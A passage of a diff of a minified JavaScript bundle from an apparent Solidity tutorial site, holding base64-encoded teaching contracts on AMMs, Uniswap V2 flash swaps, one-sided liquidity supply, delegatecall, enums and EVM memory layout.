Rva2VuMQogICAgICAgIC8vIGJvdGggaGF2Z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VzT3V0KSA9CiAgICAgICAgaXNUb2tlbjAKICAgICAgICAgICAgPyAodG9rZW4wLCB0b2tlbjEsIHJlc2VydmUwLCByZXNlcnZlMSkKICAgICAgICAgICAgOiAodG9rZW4xLCB0b2tlbjAsIHJlc2VydmUxLCByZXNlcnZlMCk7CgogICAgICAgIHRva2VuSW4udHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnRJbik7CiAgICAgICAgdWludDI1NiBhbW91bnRJbiA9IHRva2VuSW4uYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpIC0gcmVzSW47CgogICAgICAgIC8vIDAuMyUgZmVlCiAgICAgICAgYW1vdW50T3V0ID0gKGFtb3VudEluICogOTk3KSAvIDEwMDA7CgogICAgICAgICh1aW50MjU2IHJlczAsIHVpbnQyNTYgcmVzMSkgPSBpc1Rva2VuMAogICAgICAgICAgICA/IChyZXNJbiArIGFtb3VudEluLCByZXNPdXQgLSBhbW91bnRPdXQpCiAgICAgICAgICAgIDogKHJlc091dCAtIGFtb3VudE91dCwgcmVzSW4gKyBhbW91bnRJbik7CgogICAgICAgIF91cGRhdGUocmVzMCwgcmVzMSk7CiAgICAgICAgdG9rZW5PdXQudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50T3V0KTsKICAgIH0KCiAgICBmdW5jdGlvbiBhZGRMaXF1aWRpdHkodWludDI1NiBfYW1vdW50MCwgdWludDI1NiBfYW1vdW50MSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKHVpbnQyNTYgc2hhcmVzKQogICAgewogICAgICAgIHRva2VuMC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDApOwogICAgICAgIHRva2VuMS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDEpOwoKICAgICAgICB1aW50MjU2IGJhbDAgPSB0b2tlbjAuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQyNTYgYmFsMSA9IHRva2VuMS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CgogICAgICAgIHVpbnQyNTYgZDAgPSBiYWwwIC0gcmVzZXJ2ZTA7CiAgICAgICAgdWludDI1NiBkMSA9IGJhbDEgLSByZXNlcnZlMTsKCiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50IGluCiAgICAgICAgTCA9IHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHMgPSBzaGFyZXMgdG8gbWludAogICAgICAgIFQgPSB0b3RhbCBzdXBwbHkKCiAgICAgICAgcyBzaG91bGQgYmUgcHJvcG9ydGlvbmFsIHRvIGluY3JlYXNlIGZyb20gTCB0byBMICsgYQogICAgICAgIChMICsgYSkgLyBMID0gKFQgKyBzKSAvIFQKCiAgICAgICAgcyA9IGEgKiBUIC8gTAogICAgICAgICovCiAgICAgICAgaWYgKHRvdGFsU3VwcGx5ID4gMCkgewogICAgICAgICAgICBzaGFyZXMgPSAoKGQwICsgZDEpICogdG90YWxTdXBwbHkpIC8gKHJlc2VydmUwICsgcmVzZXJ2ZTEpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHNoYXJlcyA9IGQwICsgZDE7CiAgICAgICAgfQoKICAgICAgICByZXF1aXJlKHNoYXJlcyA+IDAsICJzaGFyZXMgPSAwIik7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgc2hhcmVzKTsKCiAgICAgICAgX3VwZGF0ZShiYWwwLCBiYWwxKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZW1vdmVMaXF1aWRpdHkodWludDI1NiBfc2hhcmVzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBkMCwgdWludDI1NiBkMSkKICAgIHsKICAgICAgICAvKgogICAgICAgIGEgPSBhbW91bnQgb3V0CiAgICAgICAgTCA9IHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHMgPSBzaGFyZXMKICAgICAgICBUID0gdG90YWwgc3VwcGx5CgogICAgICAgIGEgLyBMID0gcyAvIFQKCiAgICAgICAgYSA9IEwgKiBzIC8gVAogICAgICAgICAgPSAocmVzZXJ2ZTAgKyByZXNlcnZlMSkgKiBzIC8gVAogICAgICAgICovCiAgICAgICAgZDAgPSAocmVzZXJ2ZTAgKiBfc2hhcmVzKSAvIHRvdGFsU3VwcGx5OwogICAgICAgIGQxID0gKHJlc2VydmUxICogX3NoYXJlcykgLyB0b3RhbFN1cHBseTsKCiAgICAgICAgX2J1cm4obXNnLnNlbmRlciwgX3NoYXJlcyk7CiAgICAgICAgX3VwZGF0ZShyZXNlcnZlMCAtIGQwLCByZXNlcnZlMSAtIGQxKTsKCiAgICAgICAgaWYgKGQwID4gMCkgewogICAgICAgICAgICB0b2tlbjAudHJhbnNmZXIobXNnLnNlbmRlciwgZDApOwogICAgICAgIH0KICAgICAgICBpZiAoZDEgPiAwKSB7CiAgICAgICAgICAgIHRva2VuMS50cmFuc2Zlcihtc2cuc2VuZGVyLCBkMSk7CiAgICAgICAgfQogICAgfQp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKfQo="}],pb=`

          Constant sum AMM X + Y = K

          Tokens trade one to one.

          // SPDX-License-Identifier: MIT
           pragma solidity ^0.8.26;
          @@ -6023,7 +6023,7 @@ IERC20 constant PAIR Uniswap V2 Flash Swap Example
          +
          `,Lb=({prev:s,next:a})=>r.jsx(A,{version:Jb,title:zb,description:Db,cyfrinLink:Eb,html:Tb,prev:s,next:a,codes:Qb}),Ub="0.8.26",_b="Uniswap V2 Flash Swap",Ob="Uniswap V2 flash swap",Pb="",$b=[{fileName:"UniswapV2FlashSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmludGVyZmFjZSBJVW5pc3dhcFYyQ2FsbGVlIHsKICAgIGZ1bmN0aW9uIHVuaXN3YXBWMkNhbGwoCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgdWludDI1NiBhbW91bnQwLAogICAgICAgIHVpbnQyNTYgYW1vdW50MSwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsOwp9Cgpjb250cmFjdCBVbmlzd2FwVjJGbGFzaFN3YXAgaXMgSVVuaXN3YXBWMkNhbGxlZSB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgVU5JU1dBUF9WMl9GQUNUT1JZID0KICAgICAgICAweDVDNjliRWU3MDFlZjgxNGEyQjZhM0VERDRCMTY1MkNCOWNjNWFBNmY7CgogICAgYWRkcmVzcyBwcml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lzIGNhbGxlZCBieSB0aGUgREFJL1dFVEggcGFpciBjb250cmFjdAogICAgZnVuY3Rpb24gdW5pc3dhcFYyQ2FsbCgKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICB1aW50MjU2IGFtb3VudDAsCiAgICAgICAgdWludDI1NiBhbW91bnQxLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIGRhdGEKICAgICkgZXh0ZXJuYWwgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBhZGRyZXNzKHBhaXIpLCAibm90IHBhaXIiKTsKICAgICAgICByZXF1aXJlKHNlbmRlciA9PSBhZGRyZXNzKHRoaXMpLCAibm90IHNlbmRlciIpOwoKICAgICAgICAoYWRkcmVzcyB0b2tlbkJvcnJvdywgYWRkcmVzcyBjYWxsZXIpID0KICAgICAgICAgICAgYWJpLmRlY29kZShkYXRhLCAoYWRkcmVzcywgYWRkcmVzcykpOwoKICAgICAgICAvLyBZb3VyIGN1c3RvbSBjb2RlIHdvdWxkIGdvIGhlcmUuIEZvciBleGFtcGxlLCBjb2RlIHRvIGFyYml0cmFnZS4KICAgICAgICByZXF1aXJlKHRva2VuQm9ycm93ID09IFdFVEgsICJ0b2tlbiBib3Jyb3cgIT0gV0VUSCIpOwoKICAgICAgICAvLyBhYm91dCAwLjMlIGZlZSwgKzEgdG8gcm91bmQgdXAKICAgICAgICB1aW50MjU2IGZlZSA9IChhbW91bnQxICogMykgLyA5OTcgKyAxOwogICAgICAgIGFtb3VudFRvUmVwYXkgPSBhbW91bnQxICsgZmVlOwoKICAgICAgICAvLyBUcmFuc2ZlciBmbGFzaCBzd2FwIGZlZSBmcm9tIGNhbGxlcgogICAgICAgIHdldGgudHJhbnNmZXJGcm9tKGNhbGxlciwgYWRkcmVzcyh0aGlzKSwgZmVlKTsKCiAgICAgICAgLy8gUmVwYXkKICAgICAgICB3ZXRoLnRyYW5zZmVyKGFkZHJlc3MocGFpciksIGFtb3VudFRvUmVwYXkpOwogICAgfQp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0e3ZhbHVlOiAxZTE4fSgpOwogICAgICAgIC8vIEFwcHJvdmUgZmxhc2ggc3dhcCBmZWUKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCAxZTE4KTsKCiAgICAgICAgdWludDI1NiBhbW91bnRUb0JvcnJvdyA9IDEwICogMWUxODsKICAgICAgICB1bmkuZmxhc2hTd2FwKGFtb3VudFRvQm9ycm93KTsKCiAgICAgICAgYXNzZXJ0R3QodW5pLmFtb3VudFRvUmVwYXkoKSwgYW1vdW50VG9Cb3Jyb3cpOwogICAgfQp9Cg=="}],qb=`

          Uniswap V2 Flash Swap Example

          // SPDX-License-Identifier: MIT
           pragma solidity ^0.8.26;
           
          @@ -6161,7 +6161,7 @@ IERC20 constant PAIR Foundry

          Uniswap V3 Foundry example

          -`,sw=({prev:s,next:a})=>r.jsx(A,{version:Lb,title:_b,description:Ob,cyfrinLink:Pb,html:qb,prev:s,next:a,codes:$b}),aw="0.8.26",nw="Uniswap V2 Optimal One Sided Supply",lw="Uniswap V2 Optimal One Sided Supply",pw="",ew=[{fileName:"Optimal.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFRlc3RVbmlzd2FwT3B0aW1hbE9uZVNpZGVkU3VwcGx5IHsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBGQUNUT1JZID0KICAgICAgICAweDVDNjliRWU3MDFlZjgxNGEyQjZhM0VERDRCMTY1MkNCOWNjNWFBNmY7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgUk9VVEVSID0gMHg3YTI1MGQ1NjMwQjRjRjUzOTczOWRGMkM1ZEFjYjRjNjU5RjI0ODhEOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CgogICAgZnVuY3Rpb24gc3FydCh1aW50MjU2IHkpIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBpZiAoeSA+IDMpIHsKICAgICAgICAgICAgeiA9IHk7CiAgICAgICAgICAgIHVpbnQyNTYgeCA9IHkgLyAyICsgMTsKICAgICAgICAgICAgd2hpbGUgKHggPCB6KSB7CiAgICAgICAgICAgICAgICB6ID0geDsKICAgICAgICAgICAgICAgIHggPSAoeSAvIHggKyB4KSAvIDI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKHkgIT0gMCkgewogICAgICAgICAgICB6ID0gMTsKICAgICAgICB9CiAgICB9CgogICAgLyoKICAgIHMgPSBvcHRpbWFsIHN3YXAgYW1vdW50CiAgICByID0gYW1vdW50IG9mIHJlc2VydmUgZm9yIHRva2VuIGEKICAgIGEgPSBhbW91bnQgb2YgdG9rZW4gYSB0aGUgdXNlciBjdXJyZW50bHkgaGFzIChub3QgYWRkZWQgdG8gcmVzZXJ2ZSB5ZXQpCiAgICBmID0gc3dhcCBmZWUgcGVyY2VudAogICAgcyA9IChzcXJ0KCgoMiAtIGYpcileMiArIDQoMSAtIGYpYXIpIC0gKDIgLSBmKXIpIC8gKDIoMSAtIGYpKQogICAgKi8KICAgIGZ1bmN0aW9uIGdldFN3YXBBbW91bnQodWludDI1NiByLCB1aW50MjU2IGEpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIChzcXJ0KHIgKiAociAqIDM5ODgwMDkgKyBhICogMzk4ODAwMCkpIC0gciAqIDE5OTcpIC8gMTk5NDsKICAgIH0KCiAgICAvKiBPcHRpbWFsIG9uZS1zaWRlZCBzdXBwbHkKICAgIDEuIFN3YXAgb3B0aW1hbCBhbW91bnQgZnJvbSB0b2tlbiBBIHRvIHRva2VuIEIKICAgIDIuIEFkZCBsaXF1aWRpdH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mdW5jdGlvbiBnZXRSZXNlcnZlcygpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDExMiByZXNlcnZlMCwgdWludDExMiByZXNlcnZlMSwgdWludDMyIGJsb2NrVGltZXN0YW1wTGFzdCk7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwoKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"}],cw=`

          Optimal One Sided Supply

          +`,sw=({prev:s,next:a})=>r.jsx(A,{version:Ub,title:_b,description:Ob,cyfrinLink:Pb,html:qb,prev:s,next:a,codes:$b}),aw="0.8.26",nw="Uniswap V2 Optimal One Sided Supply",lw="Uniswap V2 Optimal One Sided Supply",pw="",ew=[{fileName:"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AgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"}],cw=`

          Optimal One Sided Supply

          // SPDX-License-Identifier: MIT
           pragma solidity ^0.8.26;
           
          @@ -7372,7 +7372,7 @@ IERC20 constant PAIR address indexed owner, address indexed spender, uint256 amount
               );
           }
          -
          `,zw=({prev:s,next:a})=>r.jsx(A,{version:Kw,title:Fw,description:Mw,cyfrinLink:Sw,html:Jw,prev:s,next:a,codes:xw}),Dw="0.8.26",Ew="Delegatecall",Qw="Example of how to use delegatecall in Solidity",Tw="https://www.cyfrin.io/glossary/delegatecall-solidity-code-example",Uw=[{fileName:"Delegatecall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIE5PVEU6IERlcGxveSB0aGlzIGNvbnRyYWN0IGZpcnN0CmNvbnRyYWN0IEIgewogICAgLy8gTk9URTogc3RvcmFnZSBsYXlvdXQgbXVzdCBiZSB0aGUgc2FtZSBhcyBjb250cmFjdCBBCiAgICB1aW50MjU2IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50MjU2IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKHVpbnQyNTYgX251bSkgcHVibGljIHBheWFibGUgewogICAgICAgIG51bSA9IF9udW07CiAgICAgICAgc2VuZGVyID0gbXNnLnNlbmRlcjsKICAgICAgICB2YWx1ZSA9IG1zZy52YWx1ZTsKICAgIH0KfQoKY29udHJhY3QgQSB7CiAgICB1aW50MjU2IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50MjU2IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKGFkZHJlc3MgX2NvbnRyYWN0LCB1aW50MjU2IF9udW0pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAvLyBBJ3Mgc3RvcmFnZSBpcyBzZXQsIEIgaXMgbm90IG1vZGlmaWVkLgogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSBkYXRhKSA9IF9jb250cmFjdC5kZWxlZ2F0ZWNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJzZXRWYXJzKHVpbnQyNTYpIiwgX251bSkKICAgICAgICApOwogICAgfQp9Cg=="}],Lw=`

          delegatecall is a low level function similar to call.

          +
          `,zw=({prev:s,next:a})=>r.jsx(A,{version:Kw,title:Fw,description:Mw,cyfrinLink:Sw,html:Jw,prev:s,next:a,codes:xw}),Dw="0.8.26",Ew="Delegatecall",Qw="Example of how to use delegatecall in Solidity",Tw="https://www.cyfrin.io/glossary/delegatecall-solidity-code-example",Lw=[{fileName:"Delegatecall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIE5PVEU6IERlcGxveSB0aGlzIGNvbnRyYWN0IGZpcnN0CmNvbnRyYWN0IEIgewogICAgLy8gTk9URTogc3RvcmFnZSBsYXlvdXQgbXVzdCBiZSB0aGUgc2FtZSBhcyBjb250cmFjdCBBCiAgICB1aW50MjU2IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50MjU2IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKHVpbnQyNTYgX251bSkgcHVibGljIHBheWFibGUgewogICAgICAgIG51bSA9IF9udW07CiAgICAgICAgc2VuZGVyID0gbXNnLnNlbmRlcjsKICAgICAgICB2YWx1ZSA9IG1zZy52YWx1ZTsKICAgIH0KfQoKY29udHJhY3QgQSB7CiAgICB1aW50MjU2IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50MjU2IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKGFkZHJlc3MgX2NvbnRyYWN0LCB1aW50MjU2IF9udW0pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAvLyBBJ3Mgc3RvcmFnZSBpcyBzZXQsIEIgaXMgbm90IG1vZGlmaWVkLgogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSBkYXRhKSA9IF9jb250cmFjdC5kZWxlZ2F0ZWNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJzZXRWYXJzKHVpbnQyNTYpIiwgX251bSkKICAgICAgICApOwogICAgfQp9Cg=="}],Uw=`

          delegatecall is a low level function similar to call.

          When contract A executes delegatecall to contract B, B's code is executed

          with contract A's storage, msg.sender and msg.value.

          // SPDX-License-Identifier: MIT
          @@ -7404,7 +7404,7 @@ IERC20 constant PAIR Solidity supports enums and they are useful to model choice and keep track of state.

          +
          `,_w=({prev:s,next:a})=>r.jsx(A,{version:Dw,title:Ew,description:Qw,cyfrinLink:Tw,html:Uw,prev:s,next:a,codes:Lw}),Ow="0.8.26",Pw="Enum",$w="Example of enums in Solidity",qw="https://www.cyfrin.io/glossary/enum-solidity-code-example",sk=[{fileName:"Enum.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEVudW0gewogICAgLy8gRW51bSByZXByZX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{fileName:"EnumDeclaration.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKLy8gVGhpcyBpcyBzYXZlZCAnRW51bURlY2xhcmF0aW9uLnNvbCcKCmVudW0gU3RhdHVzIHsKICAgIFBlbmRpbmcsCiAgICBTaGlwcGVkLAogICAgQWNjZXB0ZWQsCiAgICBSZWplY3RlZCwKICAgIENhbmNlbGVkCn0K"},{fileName:"EnumImport.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmltcG9ydCAiLi9FbnVtRGVjbGFyYXRpb24uc29sIjsKCmNvbnRyYWN0IEVudW0gewogICAgU3RhdHVzIHB1YmxpYyBzdGF0dXM7Cn0K"}],ak=`

          Solidity supports enums and they are useful to model choice and keep track of state.

          Enums can be declared outside of a contract.

          // SPDX-License-Identifier: MIT
           pragma solidity ^0.8.26;
          @@ -7684,7 +7684,7 @@ assertion probably means that there is a bug.
           
        • Events cannot be used in view or pure functions, as they alter the state of the blockchain by storing logs.
        • Be mindful of the gas cost associated with emitting events, especially when indexing parameters, as it can impact the overall gas consumption of your contract.
        -`,Yk=({prev:s,next:a})=>r.jsx(A,{version:Zk,title:Wk,description:Gk,cyfrinLink:Bk,html:Vk,prev:s,next:a,codes:fk}),Xk="0.8.26",Rk="EVM Memory Layout in Solidity",vk="Example of EVM memory in Solidity",Nk="",Hk=[{fileName:"YulMem.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI2OwoKLy8gTWVtb3J5IGxheW91dAovLyBhcnJheSBvZiBsZW5ndGggMioqMjU2ICgzMiBieXRlcyksIGVhY2ggZWxlbWVudCBzdG9yZXMgMSBieXRlICgweDAwIHRvIDB4ZmYpCi8vIGluZGV4ICAgICAwICAgIDEgICAgMiAgIC4uL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Mgc3RhcnRpbmcgZnJvbSAweGMwICgweGEwICsgMzIgPSAweGMwKQogICAgICAgICAgICB6IDo9IG1sb2FkKDB4YzApCiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3Rfd3JpdGUoKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyIGZyZWVfbWVtX3B0ciwgdWludDI1NiB4LCB1aW50MjU2IHksIHVpbnQyNTYgeikKICAgIHsKICAgICAgICAvLyBBbGxvY2F0ZXMgbWVtb3J5IDB4ODAgdG8gMHhkZiB0byBQb2ludAogICAgICAgIC8vIEZyZWUgbWVtb3J5IHBvaW50ZXIgPSAweGRmICsgMSA9IDB4ZTAKICAgICAgICBQb2ludCBtZW1vcnkgcDsKCiAgICAgICAgLy8gV3JpdGUKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIHN0b3JlIHRvIDB4ODAKICAgICAgICAgICAgbXN0b3JlKHAsIDExKQogICAgICAgICAgICAvLyBzdG9yZSB0byAweGEwCiAgICAgICAgICAgIG1zdG9yZShhZGQocCwgMHgyMCksIDIyKQogICAgICAgICAgICAvLyBzdG9yZSB0byAweGMwCiAgICAgICAgICAgIG1zdG9yZShhZGQocCwgMHg0MCksIDMzKQogICAgICAgICAgICAvLyAweGUwCiAgICAgICAgICAgIGZyZWVfbWVtX3B0ciA6PSBtbG9hZCgweDQwKQogICAgICAgIH0KCiAgICAgICAgeCA9IHAueDsKICAgICAgICB5ID0gcC55OwogICAgICAgIHogPSBwLno7CiAgICB9Cn0KCmNvbnRyYWN0IE1lbUZpeGVkQXJyYXkgewogICAgZnVuY3Rpb24gdGVzdF9yZWFkKCkKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NiBhMCwgdWludDI1NiBhMSwgdWludDI1NiBhMikKICAgIHsKICAgICAgICAvLyBhcnIgaXMgbG9hZGVkIHRvIG1lbW9yeSBzdGFydGluZyBhdCAweDgwCiAgICAgICAgLy8gRWFjaCBhcnJheSBlbGVtZW50IGlzIHN0b3JlZCBhcyAzMiBieXRlcwogICAgICAgIHVpbnQzMlszXSBtZW1vcnkgYXJyID0gW3VpbnQzMigxKSwgdWludDMyKDIpLCB1aW50MzIoMyldOwoKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGEwIDo9IG1sb2FkKDB4ODApCiAgICAgICAgICAgIGExIDo9IG1sb2FkKDB4YTApCiAgICAgICAgICAgIGEyIDo9IG1sb2FkKDB4YzApCiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3Rfd3JpdGUoKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IGEwLCB1aW50MjU2IGExLCB1aW50MjU2IGEyKQogICAgewogICAgICAgIHVpbnQzMlszXSBtZW1vcnkgYXJyOwoKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIDB4ODAKICAgICAgICAgICAgbXN0b3JlKGFyciwgMTEpCiAgICAgICAgICAgIC8vIDB4YTAKICAgICAgICAgICAgbXN0b3JlKGFkZChhcnIsIDB4MjApLCAyMikKICAgICAgICAgICAgLy8gMHhjMAogICAgICAgICAgICBtc3RvcmUoYWRkKGFyciwgMHg0MCksIDMzKQogICAgICAgIH0KCiAgICAgICAgYTAgPSBhcnJbMF07CiAgICAgICAgYTEgPSBhcnJbMV07CiAgICAgICAgYTIgPSBhcnJbMl07CiAgICB9Cn0KCmNvbnRyYWN0IE1lbUR5bmFtaWNBcnJheSB7CiAgICBmdW5jdGlvbiB0ZXN0X3JlYWQoKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyIHAsIHVpbnQyNTYgbGVuLCB1aW50MjU2IGEwLCB1aW50MjU2IGExLCB1aW50MjU2IGEyKQogICAgewogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYXJyID0gbmV3IHVpbnQyNTZbXSg1KTsKICAgICAgICBhcnJbMF0gPSB1aW50MjU2KDExKTsKICAgICAgICBhcnJbMV0gPSB1aW50MjU2KDIyKTsKICAgICAgICBhcnJbMl0gPSB1aW50MjU2KDMzKTsKICAgICAgICBhcnJbM10gPSB1aW50MjU2KDQ0KTsKICAgICAgICBhcnJbNF0gPSB1aW50MjU2KDU1KTsKCiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBwIDo9IGFycgogICAgICAgICAgICAvLyAweDgwCiAgICAgICAgICAgIGxlbiA6PSBtbG9hZChhcnIpCiAgICAgICAgICAgIC8vIDB4YTAKICAgICAgICAgICAgYTAgOj0gbWxvYWQoYWRkKGFyciwgMHgyMCkpCiAgICAgICAgICAgIC8vIDB4YzAKICAgICAgICAgICAgYTEgOj0gbWxvYWQoYWRkKGFyciwgMHg0MCkpCiAgICAgICAgICAgIC8vIDB4ZTAKICAgICAgICAgICAgYTIgOj0gbWxvYWQoYWRkKGFyciwgMHg2MCkpCiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3Rfd3JpdGUoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlczMyIHAsIHVpbnQ